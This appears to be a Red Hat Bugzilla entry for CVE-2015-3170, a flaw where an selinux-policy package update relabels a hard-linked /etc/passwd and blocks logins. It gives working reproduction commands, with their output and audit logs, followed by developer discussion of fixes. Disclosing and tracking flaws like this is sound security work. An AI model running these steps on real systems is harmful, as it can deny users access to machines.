Bug 1218672 (CVE-2015-3170) - CVE-2015-3170 selinux-policy: policy package update causes denial of service
Summary: CVE-2015-3170 selinux-policy: policy package update causes denial of service
Alias: CVE-2015-3170
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
Target Milestone: ---
Assignee: Red Hat Product Security
QA Contact:
Depends On:
Blocks: 1225782
TreeView+ depends on / blocked
Reported: 2015-05-05 14:06 UTC by Martin Prpič
Modified: 2021-02-17 05:20 UTC (History)
13 users (show)

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Clone Of:
Last Closed: 2016-06-15 09:24:45 UTC

Attachments (Terms of Use)

Description Martin Prpič 2015-05-05 14:06:45 UTC
The following issue was reported against selinux-policy:

Make sure that the selinux-policy-targeted package is not up-to-date when you start. You also need to set the sysctl fs.protected_hardlinks to 0. (If I recall correctly, the relabel code has a race, so you will still be able to exploit it even with protected hard links/symbolic links, it's just more difficult.)

$ cd
$ mkdir .config
$ cd .config
$ ln /etc/passwd
$ ls -lZ passwd
-rw-r--r--. root root system_u:object_r:passwd_file_t:s0 passwd

And as root:

# yum upgrade selinux-policy-targeted

Back as the user:

$ ls -lZ passwd
-rw-r--r--. root root system_u:object_r:config_home_t:s0 passwd
$ ls -lZ /etc/passwd
-rw-r--r--. root root system_u:object_r:config_home_t:s0 /etc/passwd

This prevents login with SSH, among other things:

type=SYSCALL msg=audit(1430136061.901:101): arch=c000003e syscall=2
success=no exit=-13 a0=7fee52cc1d8a a1=80000 a2=1b6 a3=0 items=0
ppid=4899 pid=4900 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0
egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="unix_chkpwd"
subj=system_u:system_r:chkpwd_t:s0-s0:c0.c1023 key=(null)
type=AVC msg=audit(1430136061.901:101): avc: denied { read } for
pid=4900 comm="unix_chkpwd" name="passwd" dev="dm-1" ino=69128317
tcontext=system_u:object_r:config_home_t:s0 tclass=file

The cause is easily identified, at the bottom of the “rpm -q --scripts selinux-policy-targeted” output:

if /sbin/restorecon -R /home/*/.config 2> /dev/null;then
fi;fi;exit 0

This particularly easy exploit vector was introduced in this spec file commit for RHEL 7:

commit 5eea0f4403c4b8b3ef3ece9584c103e098048c64
Author: Dan Walsh <dwalsh>
Date: Wed Feb 20 14:12:19 2013 +0100

Always run restorecon at install time to make sure key files are labeled

The underlying issue is older, and also affects RHEL 6, but exploiting it there is more difficult because you need a policy update which relabels a user-writable part of the file system, and I suppose those are rare.


This issue was discovered by Florian Weimer of Red Hat Product Security.

Comment 1 Miroslav Grepl 2015-05-14 11:36:18 UTC
Yes and this is a reason why you would not use hardlinks. restorecon is not able to tell you about multiple hard links with conflicting matches.

Not sure if we still need to have restorecon calling if we have filename transitions rules.

Comment 2 Tomas Mraz 2015-09-18 07:53:03 UTC
How would you create the hardlink without fs.protected_hardlinks=0 ? You can still shoot your own foot as root but as a regular user you could not create the hardlink.

Comment 3 Florian Weimer 2015-09-18 08:27:16 UTC
(In reply to Tomas Mraz from comment #2)
> How would you create the hardlink without fs.protected_hardlinks=0 ?

As far as I know, we still support running with fs.protected_hardlinks=0.  Even with protected hardlinks, this bug is still there, it is just more difficult to demonstrate that it is bad.

Comment 4 Daniel Walsh 2015-09-18 15:54:26 UTC
One change would be to only allow restorecon/setfiles on files with out links.  And require -f to override this.

Do we have a list of know linked files?

Comment 5 Stefan Cornelius 2015-09-23 10:59:39 UTC
(In reply to Daniel Walsh from comment #4)
> One change would be to only allow restorecon/setfiles on files with out
> links.  And require -f to override this.
> Do we have a list of know linked files?

I'm not aware of such a list. Florian stated: "This is a property of the customer file system.  We don't know what will be there.". That makes sense to me - so I guess relying on a list is not the path to go.

Comment 6 Daniel Walsh 2015-09-28 11:37:39 UTC
I am thinking if we had a known list of linked files in the distribution, then we could allow restorecon to relabel those, or at least check to make sure they have the same label, when it finds one.

I think the only way to prevent the customer having links problem is to not fix labels by default on multi-linked files.

I believe in the latest kernel we can prevent users from Hard Linking to files that are not owned by the user, which adds some protection.

Comment 7 Stefan Cornelius 2015-10-30 11:10:30 UTC
Another useful input from Florian;
"The full fix involves opening files with O_PATH and checking that the link count is 1 before changing their file context.  This is not possible with the glibc file traversal helper being used, so it requires major surgery on the code (but it's still doable as a security update)."

Do you think you can rework the code?

Comment 8 Stefan Cornelius 2016-06-15 09:24:45 UTC

Red Hat Product Security has rated this issue as having Low security impact. This issue is not currently planned to be addressed in future updates. For additional information, refer to the Issue Severity Classification: https://access.redhat.com/security/updates/classification/.

Note You need to log in before you can comment on or make changes to this bug.